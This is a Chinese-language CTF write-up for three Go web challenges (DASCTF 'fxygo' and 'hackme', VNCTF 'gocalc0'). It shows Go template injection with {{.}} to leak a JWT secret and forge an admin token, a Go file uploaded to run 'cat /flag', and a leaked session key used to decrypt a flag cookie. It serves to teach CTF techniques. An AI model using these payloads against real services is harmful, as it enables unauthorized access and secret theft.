[2022DASCTF MAY 挑战赛] fxygo
一道Go的模板注入
前置知识
由于没了解过Go的SSTI所以先简单看下:
go语言快速入门:template模板 · Golang语言社区 · 看云 (kancloud.cn)
go的SSTI漏洞成因与模板语法和jinja2差不多,都用到了{{}}
,通过{{.}}我们可以获得到作用域
Demo
package main
import "html/template"
import "os"
func main() {
type person struct {
Id int
Name string
Country string
}
Sentiment := person{Id: 1, Name: "Sentiment", Country: "China"}
tmpl := template.New("")
tmpl.Parse("Hello {{.}}")
tmpl.Execute(os.Stdout, Sentiment)
}
当使用{{.}}时,会获取person结构体中的所有属性,所以在经过Execute渲染后,便会输出:
Hello {1 Sentiment China}
除此外若想获取单个属性也可以用{{.Name}}
tmpl.Parse("Hello {{.}}")
改为
tmpl.Parse("Hello {{.Name}}")
结果
Hello Sentiment
复现
主要有几个路由
r.GET("/",index)
r.POST("/", rootHandler)
r.POST("/flag", flagHandler)
r.POST("/auth", authHandler)
r.POST("/register", Resist)
先看/flag
的flagHandler
func flagHandler(c *gin.Context) {
token := c.GetHeader("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
} else {
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}
}
}
中间有一段:
id, is_admin := jwt_decode(token)
if is_admin == true {
会对我们输入的token值解密,之后如果其中的is_admin是true的话,会输出flag,所以现在的问题是如何获取token
在authHandler()
找到了获取token的方式
func authHandler(c *gin.Context) {
uid := c.PostForm("id")
upw := c.PostForm("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
}
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}
当我们传参id和pw时,会对我们传入的id和is_admin进行jwt加密,并返回以token形式返回
但在此之前需要注意,在赋值之前是有一段判断的,也就是通过本题自定义的get_account()
方法获取之前的作用域中的id和pw值,与我们创建的进行比较,只有一样才能成功赋值
user_acc := get_account(uid)
user_acc.id != "" && user_acc.pw == upw {
而初始状态都是为空值的,所以在获取前需要先通过Resist()
,进行赋值注册
注册成功后,在访问auth
路径,获取到了token
得到token后,还需要解决一个问题,就是我们在注册时,默认传入的is_admin是false
new_acc := Account{uid, upw, false, secret_key}
所以就需要想办法找secret_key
,进而修改is_admin
在rootHandler()
发现模板渲染部分,首先是获取token中我们传入的id值,接着会进行渲染,最后通过 tpl.Execute(c.Writer, &acc)
输出
func rootHandler(c *gin.Context) {
token := c.GetHeader("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(c.Writer, &acc)
return
} else {
return
}
}
所以我们在最开始传入的id={{.}}
,在这个地方经过渲染后便会输出,该结构体中的所有属性值,其中就包括key
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
rootHandler()
的路由是POST请求/
获取key后,修改is_admin
,/flag
路由下传参即可
这道题跟[LineCTF2022]gotm
一样,80分的题可以去玩玩。
[2022DASCTF MAY 挑战赛] hackme
upload路径下有个文件上传入口
上传users.go后,访问users,上传的go文件会被执行,所以随便上传个执行命令的go文件即可
Go语言中用 os/exec 执行命令的五种姿势 - 知乎 (zhihu.com)
package main
import (
"bytes"
"fmt"
"log"
"os/exec"
)
func main() {
cmd := exec.Command("cat", "/flag")
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
fmt.Printf("out:\n%s\nerr:\n%s\n", outStr, errStr)
if err != nil {
log.Fatalf("cmd.Run() failed with %s\n", err)
}
}
[VNCTF 2022] gocalc0
在安装包时不知道什么时候代理变了,一直没下下来,如果同样下不下来的话可以先设置下代理
go env -w GOPROXY=https://goproxy.cn
之后安装对应的包即可
go get github.com/gin-contrib/sessions
非预期
session两次base64解密即可
预期
{{.}}获取源码
package main
import (
_ "embed"
"fmt"
"os"
"reflect"
"strings"
"text/template"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/maja42/goval"
)
var tpl string
var source string
type Eval struct {
E string `json:"e" form:"e" binding:"required"`
}
func (e Eval) Result() (string, error) {
eval := goval.NewEvaluator()
result, err := eval.Evaluate(e.E, nil, nil)
if err != nil {
return "", err
}
t := reflect.ValueOf(result).Type().Kind()
if t == reflect.Int {
return fmt.Sprintf("%d", result.(int)), nil
} else if t == reflect.String {
return result.(string), nil
} else {
return "", fmt.Errorf("not valid type")
}
}
func (e Eval) String() string {
res, err := e.Result()
if err != nil {
fmt.Println(err)
res = "invalid"
}
return fmt.Sprintf("%s = %s", e.E, res)
}
func render(c *gin.Context) {
session := sessions.Default(c)
var his string
if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}
fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
if err != nil {
fmt.Println(err)
c.String(500, "internal error")
return
}
if err := t.Execute(c.Writer, map[string]string{
"s0uR3e": source,
}); err != nil {
fmt.Println(err)
}
}
func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8888"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/", func(c *gin.Context) {
render(c)
})
r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
session.Set("FLAG", os.Getenv("FLAG"))
session.Save()
c.String(200, "flag is in your session")
})
r.POST("/", func(c *gin.Context) {
session := sessions.Default(c)
var his string
if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}
eval := Eval{}
if err := c.ShouldBind(&eval); err == nil {
his = his + eval.String() + "<br/>"
}
session.Set("history", his)
session.Save()
render(c)
})
r.Run(fmt.Sprintf(":%s", port))
}
在flag路由里将环境变量flag值设入cookie的FLAG中,但是cookie中的内容经过加密无法直接拿到,在本地搭建一样的环境,从相同cookie中拿到FLAG对应的值,找地方输出即可
package main
import (
_ "embed"
"fmt"
"os"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8888"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
c.String(200, session.Get("FLAG").(string))
})
r.Run(fmt.Sprintf(":%s", port))
}